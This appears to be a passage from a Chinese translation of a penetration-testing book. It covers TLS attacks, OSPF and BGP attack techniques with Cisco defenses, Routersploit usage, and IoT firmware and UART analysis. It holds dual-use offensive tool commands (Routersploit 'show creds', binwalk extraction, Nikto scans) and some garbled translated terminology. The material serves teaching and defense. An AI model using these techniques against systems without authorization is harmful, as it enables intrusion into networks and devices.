DROWN 攻击是一种破解加密的技术。当攻击被发现时,他们发现超过 33%的 HTTPS 服务器是容易受攻击的。仍然支持 SSLv2 的服务器容易受到这种攻击。在 DROWN 攻击中,攻击者发送具有相同私钥的探测包来解密 TLS 通信。因此,所有信息都会暴露出来。不仅支持 SSLv2 的服务器容易受到攻击,攻击者还可以使用另一个支持 SSLv2 的服务器的私钥来发动攻击。

要测试您的服务器是否容易受到 DROWN 攻击,您可以使用pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner

为了防御 DROWN 攻击,建议您在服务器上禁用 SSLv2;确保私钥不被用于允许 SSLv2 连接的任何其他服务,并升级 OpenSSL 加密库。

POODLE 攻击(CVE-2014-3566)

向下兼容的遗留加密填充口令POODLE)攻击于 2014 年被发现。这种攻击利用了许多服务器一方面支持 SSLv3,另一方面存在块填充漏洞的事实。以下图示了 POODLE 攻击:

通常,作为第一步,客户端发送支持的 TLS 版本。在这种情况下,攻击者拦截流量进行中间人攻击,并模拟服务器,直到连接降级为 SSLv3。如果连接建立,攻击者利用密码块链接漏洞,通过操纵填充字节执行 POODLE 攻击。

如果您想测试您的服务器是否容易受到 POODLE 攻击,您可以使用ssl-poodle nmap 脚本,或者简单地在线测试使用之前的网站:

要防御 POODLE 攻击,您需要在服务器上禁用 SSLv3 并升级客户端,因为升级的客户端使用 TLS 回退信号密码套件值SCSV)以防止协议降级攻击。

BEAST 攻击(CVE-2011-3389)

浏览器针对 SSL/TLS 的利用BEAST)攻击于 2011 年被发现。在 BEAST 攻击中,攻击者利用 TLS 中的密码块链接漏洞进行 CPA,通过进行中间人攻击。要防御 BEAST 攻击,升级 TLS 版本。

CRIME 攻击(CVE-2012-4929)

压缩比例信息泄漏简化CRIME)攻击中,攻击者利用 TLS 压缩中的漏洞。以下图表演示了 CRIME 攻击:

这种压缩基本上是可选的,用于使用 DEFLATE 算法等减少带宽。要防御此攻击,请确保您的浏览器是最新的。

BREACH 攻击(CVE-2013-3587)

通过自适应压缩的浏览器侦察和泄露BREACH)攻击中,攻击者利用 HTTP 压缩。

心脏出血攻击

在心脏出血攻击中,攻击者利用 OpenSSL 库中的 TLS 心跳扩展。该扩展用于始终确保两个系统之间的连接是活动的。请求有效载荷由数据和其大小组成。攻击者利用这种格式迫使服务器从内存泄漏的数据中发送请求的大小:

为了测试您的服务器,请尝试通常的网站:

Qualys SSL 实验室

要测试您的服务器是否容易受到 SSL 攻击,您可以尝试 Qualys SSL 实验室。要尝试,请访问ssllabs.com/:

点击测试您的服务器并输入您的网站:

该网站将扫描与输入的网站相关的地址:

将生成一份报告,为您提供详细的 SSL 报告和总体评分:

总结

在本章中,您学会了如何保护 VPN。与每一章一样,我们从基础知识开始,从密码学技术到 VPN,因为对技术的各个方面有清晰的理解将使渗透测试人员更清晰地了解如何保护该技术。

在下一章中,我们将讨论交换机和路由器中可能存在的常见安全漏洞,并提供有关保持网络设备安全的建议。

第十一章:路由和路由器的漏洞

路由器是每个现代组织中的主要设备。在一个互联世界中,路由是交换信息的支柱,我们知道宝贵的信息每天都是攻击者的目标。本章将带您进行一个学习体验,从探索路由操作开始,并指导您通过利用路由协议和路由器的现实演示。

在这一章中,您将发现以下内容:

  • 路由基础知识

  • 利用路由协议——RIP、OSPF、EIGRP 和 BGP

  • 利用现代路由器

  • 如何防御三层攻击

路由基础知识

在前几章中,我们讨论了交换机。路由器和交换机都需要转发信息。即使有一些三层交换机,交换机也在第 2 层工作。路由器在第 3 层运行,即网络层

为了交换信息,路由器使用 IP 地址。它们维护着一个路由表。在路由方面,我们有两个不同的类别:

  • 静态路由:在静态路由中,所有路由都由网络管理员手动设置。对于网络较小且不需要多余路由更新的情况来说,这是一个不错的决定,但当链接中断时会出现问题。

  • 动态路由:在动态路由中,路由器从邻居那里快速学习网络拓扑,即使链接中断,但网络流量大于静态路由。因此,可能会发生网络开销。

路由可以进一步分类为有类和无类路由:

  • 有类路由:您不能在路由更新中发送子网掩码。在网络中,我们有五个 IP 类:
类别 第一个范围 默认子网掩码
A 1 – 126 255.0.0.0
B 128 – 191 255.255.0.0
C 192 – 223 255.255.255.0
D 224 – 239 多播
E 240 – 254 实验用途
  • 无类路由:您可以在路由更新中发送子网掩码

为了在互联网上传输信息,路由器协议用于从一个网络到另一个网络进行信息路由。然而,我们需要区分两个不同的术语:路由协议和路由协议。路由协议用于从源到目的地路由信息,而路由协议是携带信息的有效载荷。换句话说,路由协议确定路径,更新路由表,并路由路由协议。有许多路由协议,例如以下:

  • 互联网协议 (IP)

  • Internetwork Packet eXchange (IPX):

路由器使用各种算法来选择路由信息的路径,以提供高效、可靠、快速收敛和简单的数据交换。路由协议根据许多参数来完成这项工作:

  • 带宽

  • 延迟

  • 成本

  • 可靠性

  • 跳数

  • 最大传输单元 (MTU)

以下表格描述了一些基于其度量标准的路由协议。我们将在后面更详细地讨论每个路由协议。我们使用这个表格来更好地理解如何选择路由协议:

路由协议 **度量标准 **
EIGRP 带宽、延迟、负载、可靠性和 MTU
RIPv2 跳数
OSPF 成本(带宽越高,成本越低)

根据上述度量标准,路由协议可以分为三大类:

  • 距离矢量协议:当路由器在特定时间段内向其邻居发送其路由表时使用

  • 链路状态协议:它们维护网络的整体图像;它们只交换路由更改

  • 混合协议:它们是链路状态协议和距离矢量协议的组合

以下是路由中重要的术语:

  • 自治系统(AS):AS 是由共同实体或路由策略管理的一组网络设备

  • 内部网关协议(IGP):在使用 IGP 时,路由器在自治系统内与共享相同路由协议的其他路由器交换信息

  • 外部网关协议(EGP):如果需要从一个网络移动到另一个网络,例如互联网,需要在不同自治系统之间使用 EGP:

利用路由协议

在本节中,我们将探讨许多路由协议以及如何利用它们的每一个,并学习保护您的网络所需的防御措施。

路由信息协议

路由信息协议RIP)v1 是一种距离矢量协议。它每 30 秒发送一次路由表。RIP 使用跳数作为决策度量。这是一个旧协议,它在其第一个版本 RIPv1 中不能超过 15 跳。为了到达目的地,RIP 使用跳数最少的路径,但这并不那么有效,因为在某些情况下,有许多跳数更多但带宽更好的路径。例如,在以下网络中使用 RIPv1 时,流量将通过路由 1转发,甚至路由 2具有更大的带宽:

在 RIPv1 的后继版本中考虑了许多修订。RIPv2 是 RIPv1 的增强版本。尽管 RIP 是一个分类路由协议,但 RIPv2 是无类别的,这意味着它在每个路由条目中包括掩码。因此,它支持可变长度子网掩码VLSM)。RIPv2 还提供了一个简单的身份验证机制,因此只有在检查其真实性后,路由器才接受来自邻居路由器的数据包。还添加了一个标签,这是区分通过 RIP 学习的路由和其他协议的其他路由的附加信息。所有这些增强都很好,但跳数仍然是一个存在的问题,而在 RIPv2 中,可达跳数的最大值为 15。

要在路由器上配置 RIP,只需进入 RIP 配置模式:

Router(config)#router rip Router(config-router)#network <IP Address here>

在 RIP 操作和距离矢量路由中,可能会发生路由环路。路由环路发生在数据包在路由器之间反复传输时。这种环路可能会使网络失效。

为了防止路由环路,我们可以使用许多方法:

  • 分割地平线:防止路由器将数据包发送回从中学习到该数据包的接口

  • 路由毒化:这可以防止将数据包发送到网络中已经失效的路由

  • 毒性逆转:通知邻居网关网关不再连接

  • 保持计时器:设置为允许路由器在路由离线时恢复而不更新其路由表

  • 触发更新:当度量值发生变化时发送部分更新

RIPv1 反射 DDoS

RIPv1,正如我之前提到的,是一个旧的路由协议,但攻击者重新使用了它。例如,在 2015 年,Akamai 的 Prolexic 安全工程和研究团队(PLXsert)的研究人员发现了一次巨大的 DDoS 攻击,峰值达到 12.9 Gbps。攻击者使用了放大和反射的 DDoS 攻击。在这次攻击中,黑客制作了一个正常的 RIPv1 请求查询,并使用了伪造的 IP 地址,与目标相同。为了防御这种类型的攻击,建议使用 RIPv2 而不是旧版本。此外,您需要使用访问列表并阻止来自端口520的 UDP 数据包。

开放最短路径优先

开放最短路径优先OSPF)是基于 RFC 1247 的开放标准链路状态协议。在 OSPF 操作中,路由器使用链路状态广告LSA)向同一区域中的所有路由器发送信息。路由器使用最短路径优先SPF)算法计算路径。这个算法有时被称为迪杰斯特拉算法。它需要很大的处理能力。OSPF 还支持 VLSM。

为了更好地管理,OSPF 使用分层拓扑结构。OSPF 由一个名为区域 0的骨干组成,连接其他较小的区域。当发生变化时,路由器会收到通知,获取 LSA 的副本,并更新链路状态数据库LSDB):

在深入了解 OSPF 工作原理之前,让我们先看一些重要的路由器术语:

  • 内部路由器:所有 OSPF 接口都属于同一个区域

  • 骨干路由器:至少属于相同的区域 0 的接口

  • 自治系统边界路由器(ASBR):这连接自治系统

  • 指定路由器(DR):这维护子网的数据库

  • 区域边界路由器(ABR):至少一个 OSPF 接口属于区域 0,而另一个 OSPF 接口不属于区域 0

  • 备用指定路由器(BDR):这为指定路由器提供冗余:

有三个 OSPF 表:

  • 邻居表:这提供了关于邻居的信息

  • 拓扑表:这提供了关于网络上路由的信息

  • 路由表:这被认为是转发信息

以下过程描述了 OSPF 的工作原理:

  1. 每个 OSPF 路由器通过将最高 IP 分配给环回接口来选择其路由器 ID(用于标识的 IP 地址)。如果不是这种情况(逻辑接口未定义),则将选择物理接口的最高 IP 地址作为路由器 ID。

  2. 两个路由器向多播地址224.0.0.5发送 Hello 数据包。

  3. 如果数据包具有相同的 Hello 间隔、死亡间隔和区域编号,则将形成邻居邻接

  4. 路由器发送数据库描述数据包。具有最高路由器 ID 的路由器将成为主路由器,并开始数据库数据包交换。

  5. 其中一个路由器从另一个路由器请求 LSA。

OSPF 攻击

在过去的几年里,许多研究表明,使用 OSPF 的路由器容易受到各种类型的攻击。这是一个严重的问题,因为 OSPF 是许多自治系统中最常用的协议,包括许多企业。让我们了解一些针对 OSPF 协议的攻击。

伪装 LSA

这种攻击利用 RFC 2328 中的条件来检查两个 LSA 实例是否相同,基于三个标准:序列号、校验和值和年龄。因此,攻击者可以使用这些字段广告虚假 LSA,但在下一个有效实例中,因为路由器将 LSA 视为重复的,它将忽略它。

要执行伪装 LSA 攻击,请按照以下步骤:

  1. 攻击者发送了一个伪造的 LSA

  2. 攻击者发送了一个带有前面讨论过的相同三个字段的伪装 LSA

  3. 路由器 1 发送了一个反击 LSA,路由器 2 会收到,但不会更新 LSA 数据库,而接收到的 LSA 是相同的。

  4. 路由器 2 触发另一个反击

MaxAge LSAs

攻击者试图修改 LSA 的 MaxAge 以毒害路由表,向网络发送 LSA 洪泛,并甚至使网络流量陷入黑洞。为了防御 MaxAge LSAs,请确保反击陷阱可用。

远程虚假邻接

在远程虚假邻接攻击中,攻击者扮演路由器的角色,并利用路由器可以成功完成邻接设置的事实。通过启用 TTL 安全功能,可以避免这种攻击:

Seq++攻击

当攻击者滥用路由器并发送 LSAs 虚假信息和一个比当前序列号更高的序列号来妨害路由器时,就会发生 seq++攻击。为了防御这种攻击,可以使用反击陷阱。

持续中毒

CVE 2013-0149 中提到了持续中毒,并迫使路由器根据虚假 LSA 计算路由。

防御

还有许多其他防御机制可以避免 OSPF 攻击;以下是一些防御层:

  • 仅过境网络:这些配置路由器以抑制后缀:
(config-router)#prefix-suppression
  • 使用隐藏接口:有时被称为无编号接口:
(config-if)#ip unnumbered Ethernet 0
  • 启用 TTL 安全
(config-if)# Ip ospf ttl-security
  • 启用 MD5 加密支持
(config-if)# Ip Ospf message-digest-key 1 md5 ab$c1
  • 反欺骗入口过滤:通过确保流量来自受信任的来源,阻止恶意流量

  • 链路状态数据库校验和:这确保了 OSPF LSDB 的一致性

内部网关路由协议

内部网关路由协议(IGRP)是一种分类距离矢量路由协议。与 RIP 一样,IGRP 中的路由决策基于贝尔曼-福特算法,使用跳数。它不是一个开放标准。这是 Cisco 专有的。最大支持跳数为 255,默认值为 100。因此,对于大型公司来说,它比 RIP 更具可扩展性。而且,它易于配置:

Router(config)# router igrp <AS NUM HERE> Router(config-router)# network < NeT ID Here >

IGRP 在同一个自治系统中每 90 秒定期发送信息。这个计时器被称为更新计时器。如果更新时间超过 270 秒(无效计时器),那么它将无效,并且如果超过 360 秒(刷新计时器),它将从路由表中删除。IGRP 不支持认证,它的数据包可以被伪造。

增强内部网关路由协议

增强内部网关路由协议(EIGRP)是 IGRP 的增强版本。它使用双算法。路由器使用Hello请求与邻居建立连接,同时有五种消息类型(hello,update,ack,query 和 reply)。以下图表显示了 EIGRP 的工作原理:

EIGRP 维护以下三个表:

  • 邻居表

  • 拓扑表

  • 路由表

EIGRP 使用以下公式计算成本以选择路由:

度量=带宽+延迟

虽然 IGRP 不支持认证,但 EIGRP 增加了两个主要的安全功能——明文和 MD5 认证形式。如果未设置 MD5 认证,数据包很容易被嗅探。

边界网关协议

边界网关协议(BGP)基本上是互联网的工作原理。它是一种高度可扩展的路由协议,其当前版本基于 RFC 4271。它将信息存储在路由信息库(RIB)中。

如果您的公司需要连接到互联网服务提供商,可以选择多种可能性之一:

  • 单主连接

  • 双主连接:

您还可以使用多种类型的连接连接到多个服务提供商:

  • 单个多宿主

  • 双多宿主

BGP 攻击

BGP 是许多攻击的目标。让我们发现一些 BGP 威胁:

  • 虚假更新和前缀劫持:这种攻击,有时被称为 BGP 劫持,发生在一个自治系统将流量路由到被劫持的自治系统时。

  • 去聚合:在这种攻击中,一个地址块被划分为更具体的块和前缀。

  • 矛盾的广告:在这种攻击中,攻击者将流量重定向到另一个自治系统。

  • 不稳定性:当 BGP 会话反复超时时发生此攻击

利用路由器

之前,我们看到了如何利用路由协议。现在是时候学习如何利用现代路由器了。

路由器组件

像每个主要的网络设备一样,路由器由许多内部组件组成:

  • CPU:执行系统操作

  • RAM:用于存储指令

  • ROM:包含引导指令

  • 闪存:包含 IOS

  • NVRAM:包含启动配置文件:

路由器引导过程

为了引导,每个主要的路由器都经历多个步骤:

  1. 首先,路由器执行 POST。

  2. 它加载引导程序。

  3. 它定位并加载操作系统。

  4. 您可以选择进入设置模式或加载配置文件:

路由器攻击

你已经了解了路由协议的威胁,现在我们将讨论针对路由器的攻击;即使硬件也面临许多具有挑战性的威胁:

  • DDoS 攻击

  • 中间人攻击

  • 路由器固件攻击

路由器利用框架

Routersploit 框架是一个用于利用路由器嵌入式系统的开源工具。您可以像往常一样使用git clone命令从此链接克隆它:

#git clone https://github.com/reverse-shell/routersploit

在使用之前,您需要安装一些依赖项,如python-pip

从 GitHub 克隆存储库到您的本地机器:

克隆后,您可以在 CLI 中运行脚本来运行它:

# ./rsf.py

要检查扫描仪,请键入以下内容:

# show scanners

要检查凭据,请使用此命令:

# show creds

摘要

本章是学习如何利用路由协议和路由器的完整指南。它在向您介绍路由协议的基础知识之后展示了真实世界的攻击技术。通过阅读本章,您已经获得了执行二层和三层攻击所需的知识,并具备了保护现代公司网络的正确思维和工具。在下一章中,我们将扩展我们的知识。此外,您还将学习如何保护物联网项目。

第十二章:物联网利用

术语“物联网”是由麻省理工学院媒体中心的凯文·阿什顿创造的。它描述了包括摄像头、车辆和传感器在内的物理设备网络。物联网得到了指数级的采用,并且代表了不可否认的承诺和可能性。这种快速采用为新的商业机会打开了大门,但另一方面,从安全角度来看,也揭示了新的威胁和弱点。本章将是您的救世主。因此,它将带您了解物联网生态系统,了解如何抵御真实世界的物联网攻击。实际上,在本章中,您将学会在学习如何利用物联网环境之后,获得准备安全物联网项目所需的技能,从最小的设备到连接的汽车。根据 F5 Labs 的报告,2017 年上半年物联网攻击激增了 280%。在本章中,我们将完成我们的旅程。这是又一个里程碑。在走过攻击和保护宝贵企业资产的不同技术之后,是时候继续学习经验,并发现渗透测试物联网项目的技能了。

物联网生态系统

到 2020 年,将有超过 500 亿个连接设备。这么多设备将带来大量新的威胁。作为渗透测试人员,我们需要准备好抵抗这场技术启示。物联网生态系统基于许多因素,我们也在以下图片中显示了这些因素:

  • 商业机会

  • 公共机构

  • 消费者

  • 基础设施

物联网项目架构

像任何技术项目一样,典型的物联网项目由许多组件组成,如下所示(请参见以下图片):

  • 远程设备

  • 数据存储

  • 物联网设备(例如,闭路电视摄像头,家用路由器,打印机,工业系统和连接的汽车)

  • 网关

这幅图表显示了物联网项目的典型架构:

物联网协议

在典型的物联网项目中,涉及许多协议以确保满足要求。它们分为不同的层。以下是一些知名的物联网协议:

  • Wi-Fi:这是物联网开发人员广泛使用的协议。它基于 IEEE 802.11 标准。它使用 2.4 GHz 和 5 GHz 作为频段频率,范围约为 50 米。通常,它可以传输 150-200 Mbps 的数据。

  • Z-Wave:这是一种低功率容量的射频通信技术。它广泛用于传感器和家庭自动化产品,数据速率为 100 Kbps。它可以控制最多 232 个设备,范围为 30 米。

  • Zigbee:这类似于蓝牙。它基于 IEEE 802.15.4 协议,并在 2.4 GHz 频率上运行。通常在我们没有大数据速率的情况下使用,通常为 250 Kbps,范围为 100 米。有许多 Zigbee 配置文件,例如 Zigbee PRO 和 Zigbee 远程控制(RF4CE)。最新版本是 Zigbee 3,它结合了所有先前的 Zigbee 标准。

  • Sigfox:这是一种广域技术,在农村环境下为 30-50 公里,在城市环境下为 3-10 公里。它在 900 MHz 频率上运行,数据速率为 10-1000 Kbps。您无需许可证即可使用其频段,因为它在免许可使用频段(ISM)上运行。

  • Lora:这类似于 Sigfox。它旨在在 WAN 网络上运行(在城市环境下为 2-5 公里,在郊区环境下为 15 公里),数据速率为 0.3-50 Kbps。

  • 近场通信(NFC):这是一种基于 ISO/IEC 18000-3 标准的双向交互技术,频率为 13.56 MHz,在智能手机中广泛使用,特别是在非接触式支付操作中。它在 4 到 10 厘米的范围内运行,数据速率为 100-420 Kbps。

  • IPv6 低功耗无线个人区域网络(6LOWPAN):这是基于 RFC 6282 的互联网协议。它非常适应性强,可以使用不同的通信平台,如 Wi-Fi 和以太网。

物联网通信堆栈

物联网通信堆栈类似于 OSI 网络模型。它代表了不同层之间的所需功能和交互。它由以下层组成:

  • 数据层

  • 端到端层

  • 网络层

  • ID 层

  • 链路层

  • 物理层

IP 智能对象协议套件

与 TCP/IP 模型类似,物联网项目有自己的套件和表示,名为 IP 智能对象协议套件:

标准组织

物联网展示了一个充满希望的未来。因此,它需要被许多组织和联盟组织和标准化。以下是一些知名的物联网标准组织:

  • 国际电工委员会(IEC):IEC 作为物联网标准的最大贡献者之一,发挥着重要作用,特别是通过其 IEC 62056(DLMS/COSEM)讨论智能电表。

  • 国际标准化组织(ISO):ISO 致力于各种产品,特别是通过 ISO/AWI 18575 标准在供应链中的物联网。ISO 还与 IEC 联合成立了一个联合技术委员会。

  • 电气和电子工程师学会(IEEE):IEEE 制定了物联网的 IEEE P2413 标准,以及其他标准,如 IEEE 802.15.4。

  • 互联网工程任务组(IETF):IETF 对物联网有一个以网络为中心的愿景。这一愿景得到了通过在受限制的 RESTful 环境和 IPv6 协议上的工作的支持。

物联网攻击面

上一节是对物联网生态系统的简要概述。物联网为企业提供了一个惊人的增长机会,但也伴随着大量的威胁。从不同的角度来看,物联网面临着许多挑战,包括安全性、集成问题和互操作性。在市场发展的早期阶段,物联网可能会对这些领域产生许多安全警报和技术威胁。

设备和设备

设备是物联网项目的核心组件。在本小节中,我们将探讨硬件威胁,并在另一个点讨论框架攻击。物理安全在信息安全中起着重要作用。未受保护的设备对您的架构构成真正的威胁。暴露的设备很容易受到攻击。因此,黑客可以通过公开可用的数据表和大多数使用的知名设备的必需信息在线收集有关设备的信息。网站,如wiki.openwrt.org帮助用户了解各种设备,如路由器和网关的详细信息:

这一步可能是危险的,因为通过了解硬件信息,攻击者可以识别(作为入口点)使用的接口,如通用异步收发器(UART),如果攻击者成功通过查找 PINS(TX、RX 和 GND)连接到设备,就可以获得 root 访问权限,使用万用表作为连续模式(此模式不需要电源):

上图说明了用 USB 电缆连接的引脚。您需要找到波特率,它类似于比特率(每秒的位数),但它是每秒的信号变化次数。换句话说,它是每秒符号的信息变化次数。要识别设备的波特率,您可以使用 Craig Heffner 在 GitHub 链接中开发的脚本:github.com/devttys0/baudrate/blob/master/baudrate.py。一旦获得合适的波特率,就可以连接到设备。

固件

固件是一组软件,它控制设备的硬件。分析固件是物联网渗透测试的关键步骤。为了实现这一点,您可以使用许多工具和实用程序。其中之一是 binwalk,这是一个由 Craig Heffner 开发的伟大工具,可以帮助渗透测试人员分析物联网设备的固件。您可以从以下 GitHub 链接获取它:github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md。让我们运行以下命令:

# git clone https://github.com/ReFirmLabs/binwalk/
# cd binwalk
# ./deps.sh

然后,使用以下命令安装它:

# sudo ./setup.py install

如果您使用 Kali Linux 发行版,可以通过在 CLI 中键入binwalk来直接使用 binwalk:

例如,如果您想使用 binwalk 收集关于 Airlink 101 AR430W V1 路由器二进制文件的信息,请使用以下命令:

# binwalk ar430w-firmware.bin

要从二进制文件中提取文件,请添加-e选项:

如果您想提取特定文件类型,请使用-D选项:

# binwalk -D 'png image:png' <firmware_binary_here>

从二进制文件中提取文件后,您可以进行固件分析。如果您想自动化这个过程,可以使用来自github.com/craigz28/firmwalker的 firmwalker:

Web 界面

不安全的 Web 界面对物联网项目构成巨大风险。许多设备都集成了 Web 服务器,就像任何其他 Web 服务器应用程序项目一样,它们容易受到 Web 应用程序攻击的影响,并且可以被利用。集成的 Web 应用程序不仅容易受攻击,而且缺乏传输加密也是一种危险的举动;因此,发送的消息可能会被拦截。

网络服务

网络服务在任何物联网项目中都是必不可少的。如前几节所讨论的,典型的物联网项目可能使用许多通信协议,这些通信面临不同的威胁:它们是攻击者的高价值目标。对于攻击者来说,映射攻击面使得黑客尝试更加成功。

云接口和第三方 API

物联网项目可以使用云接口和第三方 API。它们在现代组织中尤其是在物联网项目中扮演着重要角色,同时它们简化了许多云处理过程。这就是为什么作为渗透测试人员,您应该考虑它们。敏感数据可以通过这些渠道传输,许多 API 用于身份验证和授权。因此,您需要确保云接口和第三方 API 的安全性。

案例研究 - Mirai 僵尸网络

为了更清楚地了解和认识到不安全的物联网的危险影响,让我们深入了解一下影响数百万设备和用户的灾难性攻击之一。那就是 Mirai 僵尸网络。Mirai 在日语中意味着“未来”。它使用数百万受损设备对许多企业和服务提供商进行了分布式拒绝服务(DoS)攻击,包括 DNS、Twitter、PayPal、reddit、Brian Krebs 网站和许多其他知名网站:

OWASP 物联网项目

在第一章中,我们看到了开放式 Web 应用程序安全项目OWASP)指南作为众所周知的 Web 应用程序安全标准之一。它们也是活跃的,并且他们正在制定一个新的列表,代表了面临物联网项目的前 10 个威胁。接下来将提到这 10 个威胁。

不安全的 Web 界面

如前所述,Web 界面在任何物联网项目中都很重要。这就是为什么不安全的 Web 界面被列为前 10 个威胁之一。为了确保您的物联网 Web 界面通常是安全的,至少使用一个 Web 应用程序漏洞扫描程序。Nikto是最常用的用于检查 Web 应用程序安全性的工具之一。如果您使用 Kali Linux,您可以直接通过 CLI 使用它。它是 Kali Linux 中的内置工具:

如果你想使用 Nikto 扫描你的网络应用程序界面,请输入以下命令:

#sudo nikto -h <your_interface_address_here>

在下面的例子中,我们使用www.example.com网站作为演示:

不足的认证/授权

认证问题对物联网设备构成了真正的安全威胁。如果接口没有用强密码保护,设备可能会受到攻击。你可以看到,即使设备和家用电器是新的,攻击技术也是老的。这一切都取决于用户的行为。为了避免这种类型的攻击,确保所有密码都是强密码,并且更改每个默认密码。例如,你可以使用howsecureismypassword.net/来检查你密码的强度:

不安全的网络服务

不安全的网络服务可能被利用来通过网络的外部和内部手段来妥协设备,通常是通过使用端口扫描器识别开放端口。在这种情况下,你需要确保只有必需的端口是开放的。

缺乏传输加密

将数据作为纯文本传递代表着你的物联网项目面临巨大的风险。加密数据始终是避免数据被拦截的最佳方法。有许多标准的加密技术和协议,如 SSL 和 TLS。你可以使用一个名为sslscan的工具来扫描你的项目,这是 Kali Linux 中的一个内置工具:

作为演示,这是扫描输出消息的一部分:

隐私问题

许多隐私问题可能会被视为物联网项目的威胁。能够收集有关使用数据的信息,特别是敏感信息,可能是危险的;同时,获取有关设备功能的信息也是危险的。

不安全的云接口

云计算在现代物联网项目中扮演着重要的角色。确保云接口是安全的是必须的。作为安全措施,你需要减轻异常行为,并至少实施一个账户锁定机制。

不安全的移动接口

移动应用程序非常重要。不安全的移动接口可能会使物联网项目陷入危险。未加密的数据可能会被攻击者拦截。

不足的安全可配置性

在配置方面需要采取许多措施。分离管理面板和接口,记录安全事件,并启用警报是避免不足的安全可配置性的明智决定。

不安全的软件/固件

在前面的部分中,我们讨论了固件威胁,因为你知道它是软件,每个软件都可以被利用。使用静态和动态分析进行固件分析总是加固固件的一个好方法。

差劲的物理安全

不要忘记物理安全。对设备的访问可能对你的项目构成威胁。暴露设备和错误放置它们可能是危险的。如果你把你的设备暴露给任何人,他们可以被拆解或通过开放接口(如 USB)访问。

黑客攻击连接的汽车

物联网设备和家用电器并不是唯一受到攻击的受害者。最近的许多研究表明,连接的汽车也可能受到攻击。根据汽车黑客攻击脆弱性调查,2016 年 1 月,60%的千禧一代支持汽车变得更加连接。现代连接的汽车由许多以下单元组成:

  • 信息娱乐(主机单元)-有时称为发动机控制单元ECU

  • 远程监控和连接形式

  • GPS 和导航系统

  • 车辆对车辆通信系统

  • 安全和防盗系统

  • 传感器

  • 夜视

大多数连接的汽车包括一个控制器区域网络,它将所有汽车的组件(传感器、气囊等)与中央控制单元连接起来。控制器区域网络的标准自 1993 年以来已被 ISO 接受和发布:

对连接的汽车的威胁

连接的汽车面临来自不同攻击向量的许多威胁。因为它们由许多单元组成,所以存在各种攻击类别:

  • 固件攻击

  • 操作系统攻击

  • 对 CAN 的远程攻击

  • OBD2 受损

  • 嗅探

  • 恶意下载的应用程序

一辆日产 Leaf 被通过手机应用程序和网络浏览器进行了安全研究。2016 年 2 月,安全研究人员展示了可以通过互联网使用日产手机应用程序访问日产汽车。

总结

这一章是一个简单明了的指南,旨在帮助开发人员、制造商和渗透测试人员构建和保护物联网项目。我们首先发现了物联网生态系统,以及典型物联网项目的不同组成部分。我们看到了物联网项目面临的威胁,以及确保物联网环境安全所需的步骤。在这一点上,您已经掌握了执行渗透测试任务所需的技术技能和适当的心态。现在,您将能够保护现代组织基础设施免受当今的威胁和攻击,并部署适当的防护措施来抵御这些攻击。

posted @ 2024-05-04 14:57  绝不原创的飞龙  阅读(41)  评论(0编辑  收藏  举报